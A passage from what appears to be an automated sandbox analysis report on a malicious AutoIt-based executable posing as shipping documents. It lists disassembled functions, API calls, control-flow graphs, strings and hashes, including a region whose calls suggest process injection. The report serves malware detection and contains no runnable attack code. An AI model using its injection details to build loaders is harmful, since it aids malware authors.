                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: MessageTimerWindow$CreateKillMenuPopupPostProcQuitRegister
                                                • String ID: TaskbarCreated
                                                • API String ID: 129472671-2362178303
                                                • Opcode ID: 6de103c97be0ca60cbe061d30aa11f46f34cc9c7ab145c416917952f6e91fc7e
                                                • Instruction ID: 0720b6d19427e427a0258123657d65f5a48c677fcb46fff44be2e3dbc1533de4
                                                • Opcode Fuzzy Hash: 6de103c97be0ca60cbe061d30aa11f46f34cc9c7ab145c416917952f6e91fc7e
                                                • Instruction Fuzzy Hash: 6E4126F921035BABDB145B289C4AFBA375DFB81300F084619F94AD22D2DB60DE509772
                                                Function 00D03E6E Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 66windowregistryCOMMON
                                                Download Yara Rule

                                                Control-flow Graph

                                                APIs
                                                • GetSysColorBrush.USER32(0000000F), ref: 00D03E79
                                                • LoadCursorW.USER32(00000000,00007F00), ref: 00D03E88
                                                • LoadIconW.USER32(00000063), ref: 00D03E9E
                                                • LoadIconW.USER32(000000A4), ref: 00D03EB0
                                                • LoadIconW.USER32(000000A2), ref: 00D03EC2
                                                  • Part of subcall function 00D04024: LoadImageW.USER32(00D00000,00000063,00000001,00000010,00000010,00000000), ref: 00D04048
                                                • RegisterClassExW.USER32(?), ref: 00D03F30
                                                  • Part of subcall function 00D03F53: GetSysColorBrush.USER32(0000000F), ref: 00D03F86
                                                  • Part of subcall function 00D03F53: RegisterClassExW.USER32(00000030), ref: 00D03FB0
                                                  • Part of subcall function 00D03F53: RegisterWindowMessageW.USER32(TaskbarCreated), ref: 00D03FC1
                                                  • Part of subcall function 00D03F53: InitCommonControlsEx.COMCTL32(?), ref: 00D03FDE
                                                  • Part of subcall function 00D03F53: ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 00D03FEE
                                                  • Part of subcall function 00D03F53: LoadIconW.USER32(000000A9), ref: 00D04004
                                                  • Part of subcall function 00D03F53: ImageList_ReplaceIcon.COMCTL32(000000FF,00000000), ref: 00D04013
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: Load$Icon$ImageRegister$BrushClassColorList_$CommonControlsCreateCursorInitMessageReplaceWindow
                                                • String ID: #$0$AutoIt v3
                                                • API String ID: 423443420-4155596026
                                                • Opcode ID: 7b56749523d6f7028d9539fac4d53721f11dea712e34abf62154560f7ad3d3a7
                                                • Instruction ID: 9a91358fae0ac30a00cd6721c723f2afae66478e8a780b3c2115d4c72d28906f
                                                • Opcode Fuzzy Hash: 7b56749523d6f7028d9539fac4d53721f11dea712e34abf62154560f7ad3d3a7
                                                • Instruction Fuzzy Hash: 7E212AB8D00316AFDB00DFA9EC45F99BBF5FB49310F14422AE219E23A1D77586509BB1
                                                Function 01766E70 Relevance: 10.7, APIs: 7, Instructions: 239fileCOMMON
                                                Download Yara Rule

                                                Control-flow Graph

                                                • Executed
                                                • Not Executed
                                                control_flow_graph 1021 1766e70-1766f1e call 1764890 1024 1766f25-1766f4b call 1767d80 CreateFileW 1021->1024 1027 1766f52-1766f62 1024->1027 1028 1766f4d 1024->1028 1033 1766f64 1027->1033 1034 1766f69-1766f83 VirtualAlloc 1027->1034 1029 176709d-17670a1 1028->1029 1031 17670e3-17670e6 1029->1031 1032 17670a3-17670a7 1029->1032 1035 17670e9-17670f0 1031->1035 1036 17670b3-17670b7 1032->1036 1037 17670a9-17670ac 1032->1037 1033->1029 1038 1766f85 1034->1038 1039 1766f8a-1766fa1 ReadFile 1034->1039 1040 1767145-176715a 1035->1040 1041 17670f2-17670fd 1035->1041 1042 17670c7-17670cb 1036->1042 1043 17670b9-17670c3 1036->1043 1037->1036 1038->1029 1048 1766fa3 1039->1048 1049 1766fa8-1766fe8 VirtualAlloc 1039->1049 1044 176715c-1767167 VirtualFree 1040->1044 1045 176716a-1767172 1040->1045 1050 1767101-176710d 1041->1050 1051 17670ff 1041->1051 1046 17670cd-17670d7 1042->1046 1047 17670db 1042->1047 1043->1042 1044->1045 1046->1047 1047->1031 1048->1029 1052 1766fef-176700a call 1767fd0 1049->1052 1053 1766fea 1049->1053 1054 1767121-176712d 1050->1054 1055 176710f-176711f 1050->1055 1051->1040 1061 1767015-176701f 1052->1061 1053->1029 1058 176712f-1767138 1054->1058 1059 176713a-1767140 1054->1059 1057 1767143 1055->1057 1057->1035 1058->1057 1059->1057 1062 1767052-1767066 call 1767de0 1061->1062 1063 1767021-1767050 call 1767fd0 1061->1063 1069 176706a-176706e 1062->1069 1070 1767068 1062->1070 1063->1061 1071 1767070-1767074 CloseHandle 1069->1071 1072 176707a-176707e 1069->1072 1070->1029 1071->1072 1073 1767080-176708b VirtualFree 1072->1073 1074 176708e-1767097 1072->1074 1073->1074 1074->1024 1074->1029
                                                APIs
                                                • CreateFileW.KERNELBASE(00000000,?,80000000,00000007,00000000,00000003,00000080,00000000,?,00000000), ref: 01766F41
                                                • VirtualFree.KERNELBASE(00000000,00000000,00008000,00000000,00000000,00000000,00000000,?,?,00000000), ref: 01767167
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667769704.0000000001764000.00000040.00000020.00020000.00000000.sdmp, Offset: 01764000, based on PE: false
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_1764000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: CreateFileFreeVirtual
                                                • String ID:
                                                • API String ID: 204039940-0
                                                • Opcode ID: 014c9b5c74d83c0a726ef6016946af978a068631e2f3efa1e9065a42f07dad7c
                                                • Instruction ID: 2317b046c5092ec0ce5357a529d36859bbab4565a8d854172af2c867e4d27d95
                                                • Opcode Fuzzy Hash: 014c9b5c74d83c0a726ef6016946af978a068631e2f3efa1e9065a42f07dad7c
                                                • Instruction Fuzzy Hash: DFA1F974E00209EBDB18CFA4C894BEEFBB9FF48308F208559E505BB281D7759A45CB64
                                                Function 00D049FB Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 73registryCOMMON
                                                Download Yara Rule

                                                Control-flow Graph

                                                • Executed
                                                • Not Executed
                                                control_flow_graph 1130 d049fb-d04a25 call d0bcce RegOpenKeyExW 1133 d741cc-d741e3 RegQueryValueExW 1130->1133 1134 d04a2b-d04a2f 1130->1134 1135 d74246-d7424f RegCloseKey 1133->1135 1136 d741e5-d74222 call d1f4ea call d047b7 RegQueryValueExW 1133->1136 1141 d74224-d7423b call d06a63 1136->1141 1142 d7423d-d74245 call d047e2 1136->1142 1141->1142 1142->1135
                                                APIs
                                                • RegOpenKeyExW.KERNELBASE(80000001,Software\AutoIt v3\AutoIt,00000000,00000001,?), ref: 00D04A1D
                                                • RegQueryValueExW.ADVAPI32(?,Include,00000000,00000000,00000000,?), ref: 00D741DB
                                                • RegQueryValueExW.ADVAPI32(?,Include,00000000,00000000,?,?,00000000), ref: 00D7421A
                                                • RegCloseKey.ADVAPI32(?), ref: 00D74249
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: QueryValue$CloseOpen
                                                • String ID: Include$Software\AutoIt v3\AutoIt
                                                • API String ID: 1586453840-614718249
                                                • Opcode ID: 22e5a9455d4e2c1b9f8aabbe29384efc8d9c416f4f2b30e48d0b722c69149c55
                                                • Instruction ID: 6f86d32cf39e60b2916bb60a79814b533d4fa587bd98a2be6df27d38452a068a
                                                • Opcode Fuzzy Hash: 22e5a9455d4e2c1b9f8aabbe29384efc8d9c416f4f2b30e48d0b722c69149c55
                                                • Instruction Fuzzy Hash: 3A113DB1610209BEEB05ABA4CD86EBF7BACEF04354F104059B506D61D1EB719E45D770
                                                Function 00D036B8 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 44COMMON
                                                Download Yara Rule

                                                Control-flow Graph

                                                • Executed
                                                • Not Executed
                                                control_flow_graph 1157 d036b8-d03728 CreateWindowExW * 2 ShowWindow * 2
                                                APIs
                                                • CreateWindowExW.USER32(00000000,AutoIt v3,AutoIt v3,00CF0000,80000000,80000000,0000012C,00000064,00000000,00000000,00000000,00000001), ref: 00D036E6
                                                • CreateWindowExW.USER32(00000000,edit,00000000,50B008C4,00000000,00000000,00000000,00000000,00000000,00000001,00000000), ref: 00D03707
                                                • ShowWindow.USER32(00000000,?,?,?,?,00D03AA3,?), ref: 00D0371B
                                                • ShowWindow.USER32(00000000,?,?,?,?,00D03AA3,?), ref: 00D03724
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: Window$CreateShow
                                                • String ID: AutoIt v3$edit
                                                • API String ID: 1584632944-3779509399
                                                • Opcode ID: e35e553b502a93dd407c78ba7045261c7f8c1de4869d2b5406dfcc9de90a454b
                                                • Instruction ID: b824d7ccb8e25f38fad3dc9c0fcf7511ed27906e2b22c6e567064332fdf8ce04
                                                • Opcode Fuzzy Hash: e35e553b502a93dd407c78ba7045261c7f8c1de4869d2b5406dfcc9de90a454b
                                                • Instruction Fuzzy Hash: 70F0D0755403E27AE73157576C08E673E7EFBC7F60F00001AFA05D23A1C56508A5EA70
                                                Function 01766C40 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 144fileCOMMON
                                                Download Yara Rule

                                                Control-flow Graph

                                                • Executed
                                                • Not Executed
                                                control_flow_graph 1262 1766c40-1766d6c call 1764890 call 1766b30 CreateFileW 1269 1766d73-1766d83 1262->1269 1270 1766d6e 1262->1270 1273 1766d85 1269->1273 1274 1766d8a-1766da4 VirtualAlloc 1269->1274 1271 1766e23-1766e28 1270->1271 1273->1271 1275 1766da6 1274->1275 1276 1766da8-1766dbf ReadFile 1274->1276 1275->1271 1277 1766dc3-1766dfd call 1766b70 call 1765b30 1276->1277 1278 1766dc1 1276->1278 1283 1766dff-1766e14 call 1766bc0 1277->1283 1284 1766e19-1766e21 ExitProcess 1277->1284 1278->1271 1283->1284 1284->1271
                                                APIs
                                                  • Part of subcall function 01766B30: Sleep.KERNELBASE(000001F4), ref: 01766B41
                                                • CreateFileW.KERNELBASE(?,80000000,00000007,00000000,00000003,00000080,00000000), ref: 01766D62
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667769704.0000000001764000.00000040.00000020.00020000.00000000.sdmp, Offset: 01764000, based on PE: false
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_1764000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: CreateFileSleep
                                                • String ID: U4RAR7G9VQU7Y5
                                                • API String ID: 2694422964-2766055939
                                                • Opcode ID: fa45b6ebd2b681b9767450109946c0fab3455080176e70ef3dcc3d1c691034a0
                                                • Instruction ID: 774b9472d9ebae2e967dd5b1d4acab83b0c9346ed867735bd2d8019a778add65
                                                • Opcode Fuzzy Hash: fa45b6ebd2b681b9767450109946c0fab3455080176e70ef3dcc3d1c691034a0
                                                • Instruction Fuzzy Hash: E2518E31D04249EBEF11DBA4D854BEEFB79AF18300F004199EA09BB2C1D7B95B45CBA5
                                                Function 00D051AF Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 88windowCOMMON
                                                Download Yara Rule

                                                Control-flow Graph

                                                • Executed
                                                • Not Executed
                                                control_flow_graph 1286 d051af-d051c5 1287 d052a2-d052a6 1286->1287 1288 d051cb-d051e0 call d06b0f 1286->1288 1291 d73ca1-d73cb0 LoadStringW 1288->1291 1292 d051e6-d05206 call d06a63 1288->1292 1295 d73cbb-d73cd3 call d0510d call d04db1 1291->1295 1292->1295 1296 d0520c-d05210 1292->1296 1305 d05220-d0529d call d20d50 call d050e6 call d20d23 Shell_NotifyIconW call d0cb37 1295->1305 1308 d73cd9-d73cf7 call d0518c call d04db1 call d0518c 1295->1308 1298 d05216-d0521b call d0510d 1296->1298 1299 d052a7-d052b0 call d06eed 1296->1299 1298->1305 1299->1305 1305->1287 1308->1305
                                                APIs
                                                • _memset.LIBCMT ref: 00D0522F
                                                • _wcscpy.LIBCMT ref: 00D05283
                                                • Shell_NotifyIconW.SHELL32(00000001,?), ref: 00D05293
                                                • LoadStringW.USER32(00000065,?,0000007F,00000104), ref: 00D73CB0
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: IconLoadNotifyShell_String_memset_wcscpy
                                                • String ID: Line:
                                                • API String ID: 1053898822-1585850449
                                                • Opcode ID: 47a1150e03d1304d98260c001f7743bbcd4ba4d31c795473f5f0f2da16e39fb2
                                                • Instruction ID: 268f737163ab3622889d3aec31f99b61b565061d30be89fbb6972efd7ebf4f08
                                                • Opcode Fuzzy Hash: 47a1150e03d1304d98260c001f7743bbcd4ba4d31c795473f5f0f2da16e39fb2
                                                • Instruction Fuzzy Hash: 51317875008752AED721EB60EC46FEF7BD8EF45310F00451AF989921D2EB70A6588BB6
                                                Function 00D04139 Relevance: 7.3, APIs: 2, Strings: 2, Instructions: 258COMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 00D041A9: LoadLibraryExW.KERNEL32(00000001,00000000,00000002,?,?,?,?,00D039FE,?,00000001), ref: 00D041DB
                                                • _free.LIBCMT ref: 00D736B7
                                                • _free.LIBCMT ref: 00D736FE
                                                  • Part of subcall function 00D0C833: __wsplitpath.LIBCMT ref: 00D0C93E
                                                  • Part of subcall function 00D0C833: _wcscpy.LIBCMT ref: 00D0C953
                                                  • Part of subcall function 00D0C833: _wcscat.LIBCMT ref: 00D0C968
                                                  • Part of subcall function 00D0C833: SetCurrentDirectoryW.KERNEL32(?,?,?,?,?,?,00000001,?,?,00000000), ref: 00D0C978
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: _free$CurrentDirectoryLibraryLoad__wsplitpath_wcscat_wcscpy
                                                • String ID: >>>AUTOIT SCRIPT<<<$Bad directive syntax error
                                                • API String ID: 805182592-1757145024
                                                • Opcode ID: 369143e1978b6868ae30637c2ea623e277d37ed3f9964c082db94774653ab456
                                                • Instruction ID: ddcd2f0cdb3006bb5e414521b7eafa425f48aa153414eeabb0189df72096326c
                                                • Opcode Fuzzy Hash: 369143e1978b6868ae30637c2ea623e277d37ed3f9964c082db94774653ab456
                                                • Instruction Fuzzy Hash: 80914E71910219AFCF04EFA4DC919EEB7B4FF18310F148429F45AAB291EB30AA55DB70
                                                Function 00D04A30 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 138COMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 00D05374: GetModuleFileNameW.KERNEL32(00000000,?,00007FFF,00DC1148,?,00D061FF,?,00000000,00000001,00000000), ref: 00D05392
                                                  • Part of subcall function 00D049FB: RegOpenKeyExW.KERNELBASE(80000001,Software\AutoIt v3\AutoIt,00000000,00000001,?), ref: 00D04A1D
                                                • _wcscat.LIBCMT ref: 00D72D80
                                                • _wcscat.LIBCMT ref: 00D72DB5
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: _wcscat$FileModuleNameOpen
                                                • String ID: \$\Include\
                                                • API String ID: 3592542968-2640467822
                                                • Opcode ID: 385687e42c2a065d6993d1907fb07c3b373adbcb02bb11dcf4f8f99766eb9b62
                                                • Instruction ID: 05cdd9c4ff4b0d45ec2d20c0119dbedcd238f98e5b9f63aeaf5536fb905f4cf6
                                                • Opcode Fuzzy Hash: 385687e42c2a065d6993d1907fb07c3b373adbcb02bb11dcf4f8f99766eb9b62
                                                • Instruction Fuzzy Hash: D1512CB14043429FC714EF55E981DAAB7F4FA59310B48452EF689D33A1EB709608CBB2
                                                Function 00D234AE Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 61COMMON
                                                Download Yara Rule
                                                APIs
                                                • __getstream.LIBCMT ref: 00D234FE
                                                  • Part of subcall function 00D27C0E: __getptd_noexit.LIBCMT ref: 00D27C0E
                                                • @_EH4_CallFilterFunc@8.LIBCMT ref: 00D23539
                                                • __wopenfile.LIBCMT ref: 00D23549
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: CallFilterFunc@8__getptd_noexit__getstream__wopenfile
                                                • String ID: <G
                                                • API String ID: 1820251861-2138716496
                                                • Opcode ID: 3ceb1287ff66ff47dd65126be8a85e2add4763f949a049536491ac5357d56897
                                                • Instruction ID: 747d8ccc31db1729dd0d6b2fa152b3e45bd12220a992cbbdaa0e12a48f0e6202
                                                • Opcode Fuzzy Hash: 3ceb1287ff66ff47dd65126be8a85e2add4763f949a049536491ac5357d56897
                                                • Instruction Fuzzy Hash: C4110A70A003369FDB21BF74BC4266E37B4EF65358B198965F819D7181EB38CA0197B1
                                                Function 00D1D298 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 58registryCOMMON
                                                Download Yara Rule
                                                APIs
                                                • RegOpenKeyExW.KERNELBASE(80000001,Control Panel\Mouse,00000000,00000001,00000000,00000003,00000000,80000001,80000001,?,00D1D28B,SwapMouseButtons,00000004,?), ref: 00D1D2BC
                                                • RegQueryValueExW.KERNELBASE(00000000,00000000,00000000,00000000,?,?,?,?,00D1D28B,SwapMouseButtons,00000004,?,?,?,?,00D1C865), ref: 00D1D2DD
                                                • RegCloseKey.KERNELBASE(00000000,?,?,00D1D28B,SwapMouseButtons,00000004,?,?,?,?,00D1C865), ref: 00D1D2FF
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: CloseOpenQueryValue
                                                • String ID: Control Panel\Mouse
                                                • API String ID: 3677997916-824357125
                                                • Opcode ID: adb4122b10e1dd756a91dcf698276b32fd4c6a5d9927e2793336b5643d220786
                                                • Instruction ID: a347bea37413bf7734c9fcae559455cfb9bc6b06d831bb77c9573b8f014166ca
                                                • Opcode Fuzzy Hash: adb4122b10e1dd756a91dcf698276b32fd4c6a5d9927e2793336b5643d220786
                                                • Instruction Fuzzy Hash: 111157B5611208BFDB218FA8EC84EEF7BBDEF05740B144429A801D7250EB31EE809B60
                                                Function 01765B30 Relevance: 6.7, APIs: 4, Instructions: 720processthreadCOMMON
                                                Download Yara Rule
                                                APIs
                                                • CreateProcessW.KERNELBASE(?,00000000), ref: 017662EB
                                                • Wow64GetThreadContext.KERNEL32(?,00010007), ref: 01766381
                                                • ReadProcessMemory.KERNELBASE(?,?,?,00000004,00000000), ref: 017663A3
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667769704.0000000001764000.00000040.00000020.00020000.00000000.sdmp, Offset: 01764000, based on PE: false
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_1764000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: Process$ContextCreateMemoryReadThreadWow64
                                                • String ID:
                                                • API String ID: 2438371351-0
                                                • Opcode ID: e15f4bf7b2d8a2436c426929ce02fd6b814221300437380313034c1dc15b3d9c
                                                • Instruction ID: ed265577f3abc98e8b80a19f39e0b296e3c12813e6cf2b49f289d99843a89fd6
                                                • Opcode Fuzzy Hash: e15f4bf7b2d8a2436c426929ce02fd6b814221300437380313034c1dc15b3d9c
                                                • Instruction Fuzzy Hash: 8E622D30A14258DBEB24CFA4C850BDEB776EF58300F1091A9E60DEB394E7759E81CB59
                                                Function 00D4C396 Relevance: 6.2, APIs: 4, Instructions: 154COMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 00D04517: _fseek.LIBCMT ref: 00D0452F
                                                  • Part of subcall function 00D4C56D: _wcscmp.LIBCMT ref: 00D4C65D
                                                  • Part of subcall function 00D4C56D: _wcscmp.LIBCMT ref: 00D4C670
                                                • _free.LIBCMT ref: 00D4C4DD
                                                • _free.LIBCMT ref: 00D4C4E4
                                                • _free.LIBCMT ref: 00D4C54F
                                                  • Part of subcall function 00D21C9D: RtlFreeHeap.NTDLL(00000000,00000000,?,00D27A85), ref: 00D21CB1
                                                  • Part of subcall function 00D21C9D: GetLastError.KERNEL32(00000000,?,00D27A85), ref: 00D21CC3
                                                • _free.LIBCMT ref: 00D4C557
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: _free$_wcscmp$ErrorFreeHeapLast_fseek
                                                • String ID:
                                                • API String ID: 1552873950-0
                                                • Opcode ID: 0c4af10440446b1fe8382cae8d32a76f34f7d3e1743b3aef6b58de3d60be7303
                                                • Instruction ID: 9e5175917ba59734fb392526938e2bd9a05a711581480d395b3aacbd5b32d283
                                                • Opcode Fuzzy Hash: 0c4af10440446b1fe8382cae8d32a76f34f7d3e1743b3aef6b58de3d60be7303
                                                • Instruction Fuzzy Hash: 85515FB5904218AFDB149F64DC81BAEBBB9EF48314F10409EF25DA3291DB715A80CF69
                                                Function 00D040E5 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 64COMMON
                                                Download Yara Rule
                                                APIs
                                                • _memset.LIBCMT ref: 00D73725
                                                • GetOpenFileNameW.COMDLG32 ref: 00D7376F
                                                  • Part of subcall function 00D0660F: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00D053B1,?,?,00D061FF,?,00000000,00000001,00000000), ref: 00D0662F
                                                  • Part of subcall function 00D040A7: GetLongPathNameW.KERNELBASE(?,?,00007FFF), ref: 00D040C6
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: Name$Path$FileFullLongOpen_memset
                                                • String ID: X
                                                • API String ID: 3777226403-3081909835
                                                • Opcode ID: c6f2b6009abe481c3576d5f585662b8bf46b4c12acb3a32fae5dccf9531f1c64
                                                • Instruction ID: 19cfde3ec1ab9334bf8a3d811874cfc0057522a8d9bb6efb90106bcf73be116a
